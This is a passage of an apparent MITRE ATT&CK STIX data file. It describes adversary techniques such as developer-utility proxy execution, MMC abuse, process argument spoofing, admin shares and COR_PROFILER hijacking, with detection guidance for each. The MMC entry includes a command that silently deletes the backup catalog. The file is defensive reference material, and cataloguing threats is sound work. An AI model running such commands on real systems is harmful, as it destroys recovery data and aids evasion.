Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","type":"attack-pattern","created":"2017-05-31T21:31:39.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1127","url":"https://attack.mitre.org/techniques/T1127"},{"url":"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/","description":"Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.","source_name":"engima0x3 DNX Bypass"},{"url":"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/","description":"Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.","source_name":"engima0x3 RCSI Bypass"},{"url":"http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html","description":"Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.","source_name":"Exploit Monday WinDbg"},{"source_name":"LOLBAS Tracker","url":"https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/","description":"LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019."}],"modified":"2021-10-15T23:57:08.312Z","name":"Trusted Developer Utilities Proxy Execution","description":"Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","type":"attack-pattern","created":"2019-10-04T20:42:28.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1529","url":"https://attack.mitre.org/techniques/T1529"},{"source_name":"Microsoft Shutdown Oct 2017","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown","description":"Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019."},{"source_name":"alert_TA18_106A","url":"https://www.cisa.gov/uscert/ncas/alerts/TA18-106A","description":"CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022."},{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."}],"modified":"2022-02-18T21:00:33.705Z","name":"System Shutdown/Reboot","description":"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the <code>reload</code> command.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Sensor Health: Host Status","Command: Command Execution","Process: Process Creation"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","type":"attack-pattern","created":"2021-09-28T01:36:41.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.014","url":"https://attack.mitre.org/techniques/T1218/014"},{"source_name":"win_mmc","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc","description":"Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021."},{"source_name":"what_is_mmc","url":"https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console","description":"Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021."},{"source_name":"win_msc_files_overview","url":"https://www.ghacks.net/2017/06/10/windows-msc-files-overview/","description":"Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021."},{"source_name":"win_wbadmin_delete_catalog","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog","description":"Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021."},{"source_name":"phobos_virustotal","url":"https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection ","description":"Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021."},{"source_name":"win_clsid_key","url":"https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm","description":"Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021."},{"source_name":"mmc_vulns","url":"https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/","description":"Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021."},{"source_name":"abusing_com_reg","url":"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/","description":"bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021."}],"modified":"2022-03-11T19:04:18.732Z","name":"MMC","description":"Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as <code>services.msc</code> or <code>eventvwr.msc</code>. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Creation"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","type":"attack-pattern","created":"2021-11-19T14:13:11.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.010","url":"https://attack.mitre.org/techniques/T1564/010"},{"source_name":"Microsoft PEB 2021","url":"https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb","description":"Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021."},{"source_name":"Xpn Argue Like Cobalt 2019","url":"https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/","description":"Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021."},{"source_name":"Cobalt Strike Arguments 2019","url":"https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/","description":"Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021."},{"source_name":"Nviso Spoof Command Line 2020","url":"https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/","description":"Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"Mandiant Endpoint Evading 2019","url":"https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode","description":"Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}],"modified":"2021-11-29T15:56:50.370Z","name":"Process Argument Spoofing","description":"Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffe742ed-9100-4686-9e00-c331da544787","type":"attack-pattern","created":"2017-05-31T21:31:00.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1077","url":"https://attack.mitre.org/techniques/T1077"},{"external_id":"CAPEC-561","source_name":"capec","url":"https://capec.mitre.org/data/definitions/561.html"},{"url":"https://en.wikipedia.org/wiki/Server_Message_Block","description":"Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.","source_name":"Wikipedia SMB"},{"url":"https://technet.microsoft.com/en-us/library/cc787851.aspx","description":"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.","source_name":"TechNet RPC"},{"url":"http://support.microsoft.com/kb/314984","description":"Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.","source_name":"Microsoft Admin Shares"},{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"},{"url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts","description":"Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.","source_name":"Lateral Movement Payne"},{"url":"https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem","description":"Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.","source_name":"Windows Event Forwarding Payne"},{"source_name":"Medium Detecting Lateral Movement","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}],"modified":"2020-03-23T19:54:12.651Z","name":"Windows Admin Shares","description":"Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jesse Brown, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","type":"attack-pattern","created":"2020-06-24T22:30:55.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.012","url":"https://attack.mitre.org/techniques/T1574/012"},{"source_name":"Microsoft Profiling Mar 2017","url":"https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview","description":"Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."},{"source_name":"Microsoft COR_PROFILER Feb 2013","url":"https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)","description":"Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."},{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."},{"source_name":"Red Canary COR_PROFILER May 2020","url":"https://redcanary.com/blog/cor_profiler-for-persistence/","description":"Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."},{"source_name":"Almond COR_PROFILER Apr 2019","url":"https://offsec.almond.consulting/UAC-bypass-dotnet.html","description":"Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."},{"source_name":"GitHub OmerYa Invisi-Shell","url":"https://github.com/OmerYa/Invisi-Shell","description":"Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."},{"source_name":"subTee .NET Profilers May 2017","url":"https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html","description":"Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."}],"modified":"2021-08-30T21:35:12.049Z","name":"COR_PROFILER","description":"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Module: Module Load","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_permissions_required":["User","Administrator"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3b1a912a-9854-428f-9dde-bd2100c554d8","type":"relationship","created":"2020-05-22T19:37:14.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}],"modified":"2020-05-22T19:37:14.489Z","description":"(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4caab538-217d-4395-b241-34765482c338","type":"relationship","created":"2020-01-24T17:16:12.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-24T17:16:12.018Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79127e56-edbc-422b-9c32-72ce55f5ec04","type":"relationship","created":"2019-09-26T16:22:41.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","source_name":"ESET OceanLotus macOS April 2019"}],"modified":"2019-09-26T16:22:41.856Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a variant that is packed with UPX.(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a646a9aa-0dde-4551-a07e-4034b271e215","type":"relationship","created":"2020-11-18T17:17:06.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FoxIT Wocao December 2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:54.681Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) has used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498","type":"relationship","created":"2019-06-13T16:53:10.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-27T19:56:54.621Z","description":"Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cb59548-2e8d-4635-809b-b9ba22c94c31","type":"relationship","created":"2019-01-31T02:01:45.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html","source_name":"FireEye Hacking FIN4 Dec 2014"},{"description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html","source_name":"FireEye Hacking FIN4 Video Dec 2014"}],"modified":"2020-03-16T20:07:39.127Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89b157e1-3972-421e-87c9-f9e83b26ec90","type":"relationship","created":"2019-03-12T16:19:09.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public 